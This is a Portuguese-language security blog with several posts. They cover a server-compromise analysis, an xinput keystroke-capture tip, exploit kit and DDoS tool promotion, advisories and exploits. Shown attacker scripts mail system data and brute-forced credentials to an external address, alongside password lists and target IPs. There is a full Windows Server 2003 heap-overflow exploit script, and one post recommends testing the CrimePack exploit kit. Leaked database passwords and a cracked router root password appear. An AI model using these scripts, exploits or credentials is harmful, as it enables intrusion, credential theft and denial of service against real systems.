É isto mesmo!!! O servidor se tornou um servidor de IRC. Visualizando melhor outros arquivos na pasta, encontramos…

 

#!/bin/sh

echo “[+] Corriendo procesos Anti-Kill”

echo “”

pwd > exp.dir

dir=$(cat exp.dir)

echo “* * * * * $dir/deltmp.pl >/dev/null 2>&1″ > cron.d

crontab cron.d

crontab -l | grep deltmp.pl

echo “#!/bin/sh

if test -r $dir/mech.pid; then

pid=\$(cat $dir/mech.pid)

if \$(kill -CHLD \$pid >/dev/null 2>&1)

then

exit 0

fi

fi

cd $dir

./run &>/dev/null” > deltmp.pl

chmod u+x deltmp.pl

sleep 3

echo “”

echo “Listo!”

#echo “Para correr mech sobre linux ejecuta ./run”

#echo “Para correr mech sobre darwin ejecuta ./mac”

 

Ou seja, se o processo for finalizado, ele executa-o novamente e sempre atualiza o crontab chamando o script caso o mesmo for removido.

 

TERCEIRA SEMANA

Buscando mais evidências, fui em busca do histórico de comandos do usuário ‘root’, que tínhamos direcionados para outra localização, e ao vermos o seu conteúdo…

 

dns:~# cat /usr/local/tmp/history_root

ls -a

cd .ICE-UNIX

cd

rm -rf *

rm -rf .ICE-UNIX

exit

uname -a

passwd

wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe

wget tohellandback.ucoz.com/wakodi.tgz

tar zxvf wakodi.tgz

cat /proc/cpuinfo

cd ../../../../

cd var

cdtmp

mkdir

mkdir~

mkdir pbx

ls

cd tmp

ls

wget http://mpress.dlinkddns.com/sipscan.tgz

ls~

wget http://mpress.dlinkddns.com/sipscan.tgz

tar zxvf sipscan.tgz

rm -rf sipscan.tgz

mv sipscan7.1 sip

cd sip

./install

pico

vi~~

nano~

./install

cd ../

apr-get

apt-get

apt-get install gcc

y

s

ls

rm -rf sip

Temos mais artefatos interessantes, vemos que o atacante removeu o conteúdo do diretório ‘/root’, alterou a senha do root e realizou alguns downloads.

Fui atrás deste arquivo ‘wakodi.tgz’ pela URL acima, porém a mesma não esta mais disponível. O wakodi é um software open source que te possibilita gerenciar um servidor via uma console web, algo muito semelhante ao conhecido Webmin.

Percebi que o atacante não esta utilizando mais o ssh para conectar no servidor, por isso o recurso de redirecionar o histórico de comandos não servirá mais pois ele esta utilizando o netcat para conectar ao servidor, percebi isso nos processos em execução e nas portas abertas, listando na saida do comando ‘netstat’.

 

Proto Recv-Q Send-Q Endereço Local          Endereço Remoto

tcp        426      0 0.0.0.0:41890           0.0.0.0:*

 

Agora teremos que ter mais atenção, a conexão esta via protocolo tcp, porta 41890. Deixei o tcpdump em execução escutando esta porta para me auxiliar.

Vemos que o atacante fez o download de um arquivo compactado chamado sipscan.tgz, esta ferramenta de enumeration, que é utilizada para obter mais informações sobre um servidor SIP, também presente para plataforma windows. O atacante não conseguiu instalar e removeu o diretório do programa, tentamos fazer o download através do link, mas sem sucesso.

Como também não encontrei o arquivo ‘wakodi.tgz’ dentro do servidor, recorremos ao dump da memória, pelo menos para saber se o arquivo descompactado é realmente o software de gerenciamento ou se ele esta escondido em algum diretório.

O dump da memória requer muita paciência e estudo, pois muitas informações podemos categorizar nesta situação como “lixo” são exibidas na tela quando utilizado a ferramenta strings. Para realizar o dump será necessário ter espaço em disco para armazenar o arquivo, pois temos 1Gb de memória RAM, e o arquivo gerado pelo dump terá aproximadamente o tamanho da memória.

Para realizarmos o dump, utilizamos o comando ‘dd’, muito comum em sistemas operacionais linux!

dns:~# dd if=/dev/mem of=memory.dump

 

Pronto, agora temos o dump e podemos usar o strings para localizar alguma evidência.

dns:~# strings memory.dump >> memory.txt

 

Primeiro jogamos a saída do comando strings para um arquivo para analisarmos com mais calma. Vejamos abaixo.

….

….

 

_=./atack

./atack

ftpuser 1234

ftpuser 12345

ftpuser 123456

ftpuser 1234567

oracle oracle

oracle oracle1

oracle oracle12

oracle oracle123

oracle password

oracle password123

oracle password321

oracle pass1

oracle pass12

oracle pass123

oracle oinstall

oracle elcaro

oracle 1

oracle 123

oracle 1234

oracle 12345

oracle 123456

oracle 1234567

oracle 12345678

Sep 18 21:45:04 dns sshd[23998]: Invalid user calista from 118.127.0.242

Sep 18 21:45:04 dns sshd[23998]: pam_unix(sshd:auth): check pass; user unknown

Sep 18 21:45:04 dns sshd[23998]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.dancemusichub.com

Sep 18 21:45:05 dns sshd[23978]: reverse mapping checking getaddrinfo for 79-117-72-85.rdsnet.ro [79.117.72.85] failed – POSSIBLE BREAK-IN ATTEMPT!

Sep 18 21:45:05 dns sshd[24002]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.dancemusichub.com  user=root

Sep 18 21:45:06 dns sshd[23978]: Accepted password for test from 79.117.72.85 port 1554 ssh2

Sep 18 21:45:06 dns sshd[23978]: pam_unix(sshd:session): session opened for user test by (uid=0)

Sep 18 21:45:06 dns sshd[23992]: Failed password for invalid user cameryn from 118.127.0.242 port 59713 ssh2

Sep 18 21:45:06 dns sshd[23994]: Failed password for root from 118.127.0.242 port 59813 ssh2

Sep 18 21:45:06 dns sshd[23997]: Failed password for root from 118.127.0.242 port 59837 ssh2

tar

wakodi.tgz

/1

/2

/3

/4

/5

/atack

/common

/gen-pass.sh

/go.sh

/mfu.txt

/pass_file

/pscan2

/scam

/secure

/ss

/ssh-scan

/vuln.txt

 

Vemos que mesmo com os logs apagados ainda conseguiríamos resgatar informações muito valiosas com o dump da memória, uma delas são as tentativas de conexões via ssh e os ip’s de origem.

Na memória temos um binário sendo executado, ‘./atack’ e logo em seguida o que parece ser são usuários e senhas. Anteriormente detectei que o servidor estava servindo de ponte para ataques de brute force á outros servidores, este binário ‘atack’ deve nos informar quais são os alvos e as senhas do brute force.

O arquivo ‘wakodi.tgz’ foi descompactado e muitas coisas estavam ali dentro, dentre elas o binário ‘atack’. Vamos a busca!

 

Utilizando o comando ‘lsof’, presente nas distribuições linux, consegui localizar quais arquivos são utilizados em um processo específico, vamos atrás do processo atack, pid número27775. A saída do comando lsof abaixo:

 

COMMAND   PID USER   FD   TYPE  DEVICE   SIZE  NODE NAME

atack   27775 test  cwd    DIR    3,65   4096 32775 /tmp/   /unixcod

atack   27775 test  rtd    DIR    3,65   4096     2 /

atack   27775 test  txt    REG    3,65 846832 32779 /tmp/   /unixcod/atack

atack   27775 test    0u   CHR   136,0            2 /dev/pts/0

atack   27775 test    1u   CHR   136,0            2 /dev/pts/0

atack   27775 test    2u   CHR   136,0            2 /dev/pts/0

atack   27775 test    4r   REG    3,65 225439 32782 /tmp/   /unixcod/data.conf

 

Ao entrar no diretório ‘/tmp’, não encontramos o diretório ‘unixcod’ como descrito acima, mas se vermos bem, o nosso intruso criou uma pasta sem nome.

root@dns:/tmp# ls -la

drwxr-xr-x  2 test test   4096 Set 19 00:57

drwxrwxrwt  4 root root   4096 Set 18 23:42 .

drwxr-xr-x 15 root root   4096 Set 16 02:10 ..

 

Vemos um diretório criado pelo usuário ‘test’, para acessarmos:

 

root@dns:/tmp# cd “  “

root@dns:/tmp/  # pwd

/tmp/

root@dns:/tmp/  # cd unixcod

 

Vamos utilizar o strings para ver o que binário ‘atack’ nos informa…

 

File: atack

MD5:  588336eac505ee9db3c23c2a00cd394e

Size: 846832

….

….

[+] UnixCoD Atack 2005 ver 0×10  [ Made By : Ghost Kilah ]

data.conf

Lipsa  data.conf

Too large banner

Remote host closed connection

SSH-2.0-libssh-0.1

Got SSH_MSG_NEWKEYS

SSH_MSG_NEWKEYS sent

No signature in packet

No F number in packet

No public key in packet

banner : %s

Hostname required

resolving %s

connect: %s

Binding local address : %s

socket : %s

Failed to resolve bind address %s (%s)

Failed to resolve hostname %s (%s)

partial success, authentications that can continue : %s

Access denied. authentications that can continue : %s

invalid SSH_MSG_USERAUTH_FAILURE message

 

e o conteúdo do arquivo ‘data.conf’

root root

root root1

root root12

root root123

root root1234

root root12345

root root123456

root 1

root 12

root 123

root 1234

root 12345

root 123456

root 1234567

root 12345678

root 123456789

root redhat

root test123

root admin123

root router

test testtest

test test

test password

….

….

 

No diretório localizei mais cinco arquivos onde continham usuário e senhas para o brute force, em um deles localizei a senha que tínhamos utilizado para o usuário ‘root’ do servidor, veja abaixo:

 

globus globus

condor condor

tomcat tomcat

global global

upload upload

jboss jboss

postmaster postmaster

demo demo

apache apache

postgres postgres

mysql mysql

tester tester

testing testing

test test

photo photo

oracle oracle

root testtest

root !@#test

root test!@#

root r00t

root server123

root 123server

root server

root internet

root windows

root admin!@#

root !@#admin

root mysql123

root 123mysql

root *

root **

root ***

root ****

root *****

root ******

 

Mais artefatos!!

 

#!/bin/bash

echo “[+] [+] [+] RK [+] [+] [+]” >> info2

echo “[+] [+] [+] IP [+] [+] [+]” >> info2

/sbin/ifconfig -a >> info2

echo “[+] [+] [+] uptime [+] [+] [+]” >> info2

uptime >> info2

echo “[+] [+] [+] uname -a [+] [+] [+]” >> info2

uname -a >> info2

echo “[+] [+] [+] /etc/issue [+] [+] [+]” >> info2

cat /etc/issue >> info2

echo “[+] [+] [+] passwd [+] [+] [+]” >> info2

cat /etc/passwd >> info2

echo “[+] [+] [+] id [+] [+] [+]” >> info2

id >> info2

echo “[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]” >> info2

df -h >> info2

pwd >> info2

cat info2 | mail -s “Scanner MaLa Port : ?? | Pass : stii tu :) )” mafia89tm@yahoo.com

rm -rf info2

clear

 

echo “####################################################################”

echo “#                       ______                                  “

echo “#                               .-.      .-.                               ”

echo “#                              /            \                              “

echo “#                             |     zRR      |                             ”

echo “#                             |,  .-.  .-.  ,|                             “ 

echo “#                             | )(z_/  \z_)( |                             ”

echo “#                             |/     /\     \|                             ”

echo “#                     _       (_     ^^     _)                             ”

echo “#             _\ ____) \_______\__|IIIIII|__/_________________________     ”

echo “#            (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\    ”

echo “#              /     )_/        \          /                               ”

echo “#                                \ ______ /                                            ”

echo “#                         SCANER PRIVAT                             ”

echo “#             SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe               “

echo “#            SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !!             

echo “####################################################################”

 

if [ -f a ]; then

cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com

./a $1.0

./a $1.1

./a $1.2

./a $1.3

./a $1.4

./a $1.5

./a $1.6

./a $1.7

./a $1.8

./a $1.9

./a $1.10

cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com

./a $1.11

./a $1.12

./a $1.13

./a $1.14

./a $1.15

./a $1.16

./a $1.17

./a $1.18

./a $1.19

./a $1.20

cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com

./a $1.21

./a $1.22

./a $1.23

./a $1.24

./a $1.25

./a $1.26

./a $1.27

./a $1.28

./a $1.29

./a $1.30

cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com

./a $1.31

./a $1.32

./a $1.33

./a $1.34

./a $1.35

./a $1.36

./a $1.37

./a $1.38

./a $1.39

./a $1.40

cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com

./a $1.41

./a $1.42

./a $1.43

./a $1.44

./a $1.45

./a $1.46

./a $1.47

./a $1.48

./a $1.49

./a $1.50

cat vuln.txt |mail -s “Lame Gang Us Roots” mafia89tm@yahoo.com

….

….

 

O script principal grava o endereço ip, usuário e senha dos alvos que obtiveram sucesso com o brute force grava no arquivo vuln.txt que também é enviado ao mafia89tm@yahoo.com.

 

Além do brute force, consegui até o e-mail do atacante/grupo, que neste ultimo script coleta diversas informações sobre o endereço ip, sistema operacional, espaço em disco, usuários do sistema etc…

 

Até o momento o arquivo vuln.txt esta vazio, abaixo veremos a lista de ip’s a serem atacados, localizado no arquivo texto ‘mfu.txt’, com um tamanho de 30kb.

 

root@dns:/tmp/  /unixcod# cat mfu.txt

202.103.194.106

219.0.6.112

219.101.152.94

219.101.153.65

219.101.160.111

219.101.160.117

219.101.160.119

219.101.160.125

219.101.160.128

219.101.160.142

219.101.169.84

219.101.197.54

219.101.218.42

219.101.218.45

219.101.253.126

219.101.39.229

219.101.41.178

219.101.41.192

219.101.42.162

219.101.42.170

219.101.45.78

219.102.119.116

219.102.129.119

219.102.161.53

219.102.215.170

219.102.247.153

219.102.248.43

219.102.43.16

219.102.65.103

219.102.74.143

219.103.211.237

219.105.35.40

….

….

 

No final desta terceira semana a quantidade de conexões de saída para diversos países do mundo era absurda, o processamento do servidor oscilava sempre entre 80% e 90% de uso.

Neste período não tive a oportunidade de ser testado com um exploit novo ou alguma técnica de exploração ou escalação de privilégios, porém devemos tomar atenção pois muitas coisas poderiam acontecer se o servidor ficasse por mais tempo online:

 

  1. O servidor poderia a partir de qualquer momento escanear portas de diversos hosts ou qualquer tipo de crime eletrônico poderia levar a sérios problemas judiciais.

 

  1. Proliferação de Spam a partir do servidor, isto também é um crime eletrônico.

 

  1. Armazenamento de vírus e malwares com foco em ataques automatizados.

 

  1. Ataques de Negação de Serviço

 

  1. Servir como mais um nó das grandes redes de Botnets
[]‘s
Sergito

Um artifício interessante quando precisa-se capturar inputs do teclado é utilizar o aplicativo que vem por padrão em algumas distros linux, o xinput. Com ele é possível capturar o keycode da tecla digitada de uma maneira muito fácil e sem precisar ser root.

Vejam:

trash@debian:/tmp$ xinput list
"Configured Mouse"      id=2    [XExtensionPointer]
Num_buttons is 9
Num_axes is 2
Mode is Relative
Motion_buffer is 256
Axis 0 :
Min_value is -1
Max_value is -1
Resolution is 1
Axis 1 :
Min_value is -1
Max_value is -1
Resolution is 1
"Generic Keyboard"      id=3    [XExtensionKeyboard]
Num_keys is 248
Min_keycode is 8
Max_keycode is 255

 

Temos acima, o  “Generic Keyboard” id=3

Passaremos por parâmetro o id que será o device que iremos capturar e mostrar os eventos recebidos.

 

trash@debian:/tmp$ xinput test 3

key release 36

key press   46

lkey release 46

key press   31

ikey release 31

nkey press   57

key release 57

ukey press   30

key release 30

xkey press   53

key release 53

 

Acima foi capturado todas as keycodes que foram digitadas pelo usuário “trash”, que no caso digitei a palavra “linux”. O “key release 36″ = ENTER

 

Caso não tenha o xinput, instale!! “aptitude install xinput” =D

Dica simples e “útil”

 

[]‘s

Sergito

 





Há alguns meses atrás o código criptográfico do skype foi quebrado pelo Sean O’Neil onde foi divulgado o source do mesmo http://cryptolib.com/ciphers/skype/ ou http://pastebin.com/GHUc2pAX

Desta vez foi realizado uma engenharia reversa pelo Efim Bushmanov, que fez uma análise mais a fundo e publicou no seu blog os sources e binários.

Algo realmente muito interessante que você pode ver: http://skype-open-source.blogspot.com/2011/06/skype-protocol-reverse-engineered.html

Com os sources publicamente divulgados e a compra do Skype pela Microsoft, ééé, eu pensaria 2x antes de falar algo.

 

[]‘s

Sergito

Lançada nova versão do Exploit kit CrimePack (3.1.3), desta vez com algumas brincadeiras novas, dentre elas a exploração da vulnerabilidade do JRE na vítima e ofuscação do código bypassando possíveis AV’s.

Outro recurso novo é a criação de pdf’s maliciosos com diversas opções de conexões reversas e mutações evitando a detecção.

Vale a pena testar… antes de tudo, lembre-se!! vc irá precisar: Apache, PHP5, MySQL, libcurl, ioncube

No .zip contém instruções…

Download: Crimepack-3.1.3

 

[]‘s

Sergito

Lançada nova release do BackTrack, atualmente na versão 5, kernel 2.6.38.

Download: http://www.backtrack-linux.org/downloads/

Recomendo!!

 

[]‘s

Sergito

Depois de alguns longos meses, volto a postar por aqui, desta vez é um falha no serviço do wins do windows server, que permite a execução de código remotamente.

A falha somente caiu a público após o lançamento do patch, que pode ser baixado em: http://www.microsoft.com/technet/security/bulletin/MS11-035.mspx

Mais informações sobre a falha descoberta pelo Luigi Auriemma pode ser lida na securityfocus: http://www.securityfocus.com/bid/47730/info

Até o momento nenhum exploit lançado… até o momento… rsrsr

 

[]‘s

Sergito

 

 

Só rindo mesmo...
telnet <access-point IP> 1111
Command> system id
Output>  uid=0(root) gid=0(root)
Secure Network - Security Research Advisory

Vuln name: Linksys WAP610N Unauthenticated Access With Root Privileges
Systems affected: WAP610N (Firmware Version: 1.0.01)
Systems not affected: --
Severity: High
Local/Remote: Remote
Vendor URL: http://www.linksysbycisco.com
Author(s): Matteo Ignaccolo m.ignaccolo@securenetwork.it
Vendor disclosure: 14/06/2010
Vendor acknowledged: 14/06/2010
Vendor bugfix: 14/12/2010 (reply to our request for update)
Vendor patch release: ??
Public disclosure: 10/02/2011
Advisory number: SN-2010-08
Advisory URL: http://www.securenetwork.it/ricerca/advisory/download/SN-2010-08.txt

*** SUMMARY ***

Linksys WAP610N is a SOHO wireless access point supporting 802.11n draft.

Unauthenticated remote textual administration console has been found that allow an attacker to run system command as root user.

*** VULNERABILITY DETAILS ***

telnet <access-point IP> 1111

Command> system id
Output>  uid=0(root) gid=0(root)

Coomand> system cat /etc/shadow
Ouptup>  root:$1$ZAwqf2dI$ZukbihyQtUghNDsLAQaP31:10933:0:99999:7:::
Ouptup>  bin:*:10933:0:99999:7:::
Ouptup>  daemon:*:10933:0:99999:7:::
Ouptup>  adm:*:10933:0:99999:7:::
Ouptup>  lp:*:10933:0:99999:7:::
Ouptup>  sync:*:10933:0:99999:7:::
Ouptup>  shutdown:*:10933:0:99999:7:::
Ouptup>  halt:*:10933:0:99999:7:::
Ouptup>  uucp:*:10933

root password is "wlan" (cracked with MDcrack http://mdcrack.openwall.net)

List of console's command:

ATHENA_READ
ATHENA_WRITE
CHIPVAR_GET
DEBUGTABLE
DITEM
DMEM
DREG16
DREG32
DREG8
DRV_CAT_FREE
DRV_CAT_INIT
DRV_NAME_GET
DRV_VAL_GET
DRV_VAL_SET
EXIT
GENIOCTL
GETMIB
HELP
HYP_READ
HYP_WRITE
HYP_WRITEBUFFER
ITEM16
ITEM32
ITEM8
ITEMLIST
MACCALIBRATE
MACVARGET
MACVARSET
MEM_READ
MEM_WRITE
MTAPI
PITEMLIST
PRINT_LEVEL
PROM_READ
PROM_WRITE
READ_FILE
REBOOT
RECONF
RG_CONF_GET
RG_CONF_SET
RG_SHELL
SETMIB
SHELL
STR_READ
STR_WRITE
SYSTEM
TEST32
TFTP_GET
TFTP_PUT
VER

*** EXPLOIT ***

Attackers may exploit these issues through a common telnet client as explained above.

*** FIX INFORMATION ***

No patch is available.

*** WORKAROUNDS ***

Put access points on separate wired network and filter network traffic to/from 1111 tcp port.

[]‘

Sergito

Sem muitos comentários, simples e direto, Windows 2003 server remote Heap Overflow !

 

####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Anonymous Comment: Apologies if this puts a downer on the MSRC valentines
day sausage fest
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#Special Valentines Greetings: Ruben Santamarta, is your password still
"hijodeputa"? You look even more like a dumb fuck than you used to.
#From dailydave: [
https://lists.immunityinc.com/pipermail/dailydave/20110121/000057.html], So
your 31337 con is the only place to get 0day? Here's some pre-auth /
#broadcast 0day free for all on FD with 0% conference whoring, and punks are
welcome as well.
#####################################################################################
#Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from
ESI to EDI ...
#Code will look something like this:
#if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len =
TotalSize/sizeof(WCHAR) - 1; }
#-1 causes Len to go 0xFFFFFFFF
#Feel free to reuse this code without restrictions and ask Kingcope-Fag to
perform his FTP FU on SMB, he might have more luck than MS.
"
import socket,sys,struct
from socket import *

if len(sys.argv)<=4:
 sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME
 example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah
AD-NETBIOS-NAME""")

ourip = sys.argv[1]
host = sys.argv[2]
srcname = sys.argv[3].upper()
dstname = sys.argv[4].upper()

ELEC            = "\x42\x4f\x00"
WREDIR          = "\x41\x41\x00"

def encodename(nbt,service):
    final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) +
ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
    return final

def lengthlittle(packet,addnum):
    length = struct.pack("<i", len(packet)+addnum)[0:2]
    return length

def lengthbig(packet,addnum):
    length = struct.pack(">i", len(packet)+addnum)[2:4]
    return length

def election(srcname):
    elec = "\x08"
    elec+= "\x09" #Be the boss or die
    elec+= "\xa8\x0f\x01\x20" #Be the boss or die
    elec+= "\x1b\xe9\xa5\x00" #Up time
    elec+= "\x00\x00\x00\x00" #Null, like SDLC
    elec+= srcname+"\x00"
    return elec

def smbheaderudp(op="\x25"):
    smbheader= "\xff\x53\x4d\x42"
    smbheader+= op
    smbheader+= "\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00"
    smbheader+=  "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    return smbheader

def
trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
    packetbrowser  =  pbrowser
    packetmailslot = "\x01\x00"
    packetmailslot+= "\x00\x00"
    packetmailslot+= "\x02\x00"
    packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
    packetmailslot+= namepipe +"\x00"
    packetdatagram = "\x11"
    packetdatagram+= "\x02"
    packetdatagram+= tid
    packetdatagram+= inet_aton(ip)
    packetdatagram+= "\x00\x8a"
    packetdatagram+= "\x00\xa7"
    packetdatagram+= "\x00\x00"
    packetdatagramname = encodename(sname,srcservice)
    packetdatagramname+= encodename(dname,dstservice)
    smbheader= smbheaderudp("\x25")
    packetrans2 = "\x11"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\xe8\x03\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
    packetrans2+= "\x03"
    packetrans2+= "\x00"
    andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
    lengthcalc =
packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetfinal =
packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetotalength = list(packetfinal)
    packetotalength[10:12] = lengthbig(lengthcalc,0)
    packetrans2final = ''.join(packetotalength)
    return packetrans2final

def sockbroad(host,sourceservice,destservice,packet):
   s = socket(AF_INET,SOCK_DGRAM)
   s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
   s.bind(('0.0.0.0', 138))
   try:
      packsmbheader = smbheaderudp("\x25")
      buffer0 =
trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice,
dstservice=destservice, pbrowser=packet)
      s.sendto(buffer0,(host,138))
   except:
      print "expected SDL error:", sys.exc_info()[0]
      raise

sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between
~60->410)
print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time
ago...."
####################################################################################

by packetstormsecurity

[]'s
Sergito

 

Muito boa a iniciativa!! Tire suas dúvidas!!

http://www.ask-a-pentester.com/

 

[]‘s

Sergito

Depois dos rumores da backdoor no OpenBSD, hoje tivemos um paper que vai movimentar muitos forums e lista de segurança nesta semana.

Depois que o grupo inj3ct0r comprometeram o backtrack-linux.org (http://pastebin.com/Ew3ARwKJ) e o  Exploit-db (http://pastebin.com/hbCUgri5), tivemos em seguida a resposta, o site do grupo inj3ct0r, caders.cc e o site do projeto ettercap tiveram uma surpresa neste natal.

Vejamos as provas:

backtrack-linux.org
$ uname -a
Linux backtrack-linux.org 2.6.32.26-175.fc12.x86_64 #1 SMP Wed Dec 1 21:39:34 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=48(apache) gid=494(apache) groups=494(apache) context=unconfined_u:system_r:httpd_t:s0
$ uname -a
Linux backtrack-linux.org 2.6.32.26-175.fc12.x86_64 #1 SMP Wed Dec 1 21:39:34 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux $ iduid=48(apache) gid=494(apache) groups=494(apache) context=unconfined_u:system_r:httpd_t:s0

Exploit-db

$ uname -a

Linux www 2.6.32-25-server #45-Ubuntu SMP Sat Oct 16 20:06:58 UTC 2010 x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Inj3ct0r

$ uname -a

Linux wateam 2.6.26-2-686 #1 SMP Thu Sep 16 19:35:51 UTC 2010 i686 GNU/Linux

$ id

uid=0(root) gid=0(root) groups=0(root)

$ cat config.php

<?

GLOBAL_START = microtime(true);

define("DB_HOST", "localhost");

define("DB_LOGIN", "9r0o7yIn6vD2k9a4");

define("DB_PASSWORD", "=!(_r0ot+e-c-h-0@inj3ct0r_)!=");

define("DB_DATABASE", "9r0o7yIn6vD2k9a4");

define("DB_PREFIX", "inj3ct0r_v2_");

$ cat .htpasswd

inj3ct0r:1dAX/67F424a4D3Z.QWXTfZi0e2/0G/

inj3ct0r_operator:1cjVbCTaHGGgdG7e.ceNBXZ7ucjsOt1

We owned inj3ct0r because they are lameass wannabe milw0rm kids whose sole purpose in life is to disclose XSS 0dayz in Joomla (RSnake anyone?).

Ettercap

$ uname -a
Linux sfp-web-9.v30.ch3.sourceforge.com 2.6.18-194.11.4.el5 #1 SMP Tue Sep 21 05:04:09 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux

$ id
uid=48(apache) gid=48(apache) groups=48(apache),302(amqp)

$ cat /home/groups/e/et/ettercap/htdocs/forum/config.php
<?php

//
// phpBB 2.x auto-generated config file
// Do not change anything in this file!
//

$dbms = "mysql";

$dbhost = "mysql4-e";
$dbname = "e17435_etterforum";
$dbuser = "e17435admin";
$dbpasswd = "ettersql_a";
--------

We owned ettercap because we were tired of people firing that shit  up

and pretending to be a l33th4x0r sheep who think they are the greatest

hackerz with their ARP  spoofing  toolkitz.. If  you  have  installed

ettercap in the last 5 years you may want to check yo shit (;p).

O paper completo pode ser visto em: http://www.exploit-db.com/papers/15823/

Realmente esta frase me assusta:

” If  you  have  installed ettercap in the last 5 years you may want to check yo shit (;p)”

Será que fechamos o ano de 2010?? ou teremos algo nestes 5 dias que restam?

[]‘s

Sergito

Realizando mais testes com ferramentas de DDoS, me deparei com a DDosim, uma ferramenta diferente das outras comentadas aqui pois ela chega até a camada 7 permitindo assim enviar algum tipo de parâmetro como HTTP_VALID ou até mesmo um SMTP_EHLO, outra diferença é que a ferramenta permite um ataque distribuído com origem de vários ip’s aleatórios e especifique a quantidade de threads a serem utilizadas no processamento.

Nos testes realizados no lab, a quantidade de conexões abertas no alvo foram absurdas, vale a pena conferir!!

Site do Projeto: http://sourceforge.net/projects/ddosim/files/

Compilando na Debian: (Necessita do pacote libnet0-dev)

debian:~/ddosim-0.2# ./configure

debian:~/ddosim-0.2# make

debian:~/ddosim-0.2# make install
debian:~/ddosim-0.2# ./ddosim
# DDOSIM:  Layer 7 DDoS Simulator v0.2
# Author:  Adrian Furtuna  <adif2k8@gmail.com>
Usage: ./ddosim
-d IP           Target IP address
-p PORT         Target port
[-k NET]         Source IP from class C network (ex. 10.4.4.0)
[-i IFNAME]      Output interface name
[-c COUNT]       Number of connections to establish
[-w DELAY]       Delay (in milliseconds) between SYN packets
[-r TYPE]        Request to send after TCP 3-way handshake. TYPE can be HTTP_VALID or HTTP_INVALID or SMTP_EHLO
[-t NRTHREADS]   Number of threads to use when sending packets (default 1)
[-n]             Do not spoof source address (use local address)
[-v]             Verbose mode (slower)
[-h]             Print this help message
Exemplos:
./ddosim   -d 172.16.0.11   -p 110   -c 0  -i eth0
./ddosim   -d 192.168.1.2   -p 25   -k 10.0.0.0   -c 0   -r SMTP_EHLO  -i eth0
A criatividade vem de vc!!
[]‘s
Sergito

Mais alguns 0day’s que saíram esta semana… desta vez, o IE entrou na roda junto com ProFTPd. Isto sem comentar os bugs que surgem na semana para softwares da adobe.

Os dois bugs já possuem módulo para a exploração no metasploit.

Mais Infos sobre o bug do IE: http://isc.sans.edu/diary.html?storyid=9874

Módulo do metasploit para o ProFTPd (somente para FreeBSD até o momento) :

https://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb

Post Rápido e direto pois estou indo dormir…

Fim de semana postarei os testes realizados..

[]‘s

Sergito

Já faz um tempinho que a falha caiu no mundo underground, e a algumas semanas foi a público, a falha em um módulo do kernel permite exploração e escalar privilégios. A falha descoberta pelo Dan Rosenberg, existente nas versões do kernel >= 2.6.30, afeta um módulo do kernel que facilmente pode ser explorada e assim obter o id=0.

Na securityfocus foi publicado juntamente com o exploit, porém foi preciso adicionar 2 linhas definindo o valor para umas variáveis quando compilado para o debian, são elas:

#define AF_RDS 21
#define PF_RDS AF_RDS

E vemos abaixo a exploração em um ubuntu..

trash@trash-desktop:~/k-2.6$ uname -r

2.6.32-21-generic

trash@trash-desktop:~/k-2.6$ ls

linux.c

trash@trash-desktop:~/k-2.6$ gcc linux.c -o linux

